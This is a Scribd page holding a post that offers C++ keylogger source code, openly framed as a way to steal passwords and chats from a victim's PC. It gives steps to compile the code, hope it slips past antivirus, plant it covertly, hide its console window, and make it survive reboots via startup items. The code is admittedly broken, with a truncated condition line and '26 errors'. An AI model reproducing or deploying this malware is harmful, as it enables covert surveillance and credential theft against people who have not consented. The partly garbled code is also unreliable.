Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
335 views

Keylogger Code C++

This document describes a backtrack code that can be used to retrieve passwords from a victim's computer by logging keystrokes to a file. It explains that the code needs to be compiled using Turbo C++ and copied to the victim's computer where it can be run secretly in the background to record all keystrokes, including passwords and social media chats. The code has some unresolved errors and is still under development.

Uploaded by

surajpb1989
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
335 views

Keylogger Code C++

This document describes a backtrack code that can be used to retrieve passwords from a victim's computer by logging keystrokes to a file. It explains that the code needs to be compiled using Turbo C++ and copied to the victim's computer where it can be run secretly in the background to record all keystrokes, including passwords and social media chats. The code has some unresolved errors and is still under development.

Uploaded by

surajpb1989
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

Backtrack code : Under development....

Hi friends,
Its me Suraj, Introducing a backtrack code for retrieveing the passwords from Co
okies. You need physical access to the Victims PC for performing this hacking.
1.Download Turbo C++
2. Copy the following code and compile it
3. Navigate to the .exe file assembled by Turbo C++ itself.
4. Copy the .exe file and save it with you. Hope it wont detected by any Antivi
rus
5. If you have physical access to your victim's PC copy the .exe file in the sys
tem and run it in the background.
6. Make a process to run this .exe in the start up itself by pasting to start up
items for logging even after reboot.
7.Open the log.txt file, entire thing what you have typed inside the PC, Includi
ng social networking chats, passwords etc..
Future developments:
8. Make the code to pass over the HTML by means of Clickjacking
Backtrack code : Under development.... [ Unresolved 26 errors :-( ]
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;

if (key_stroke ==
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

You might also like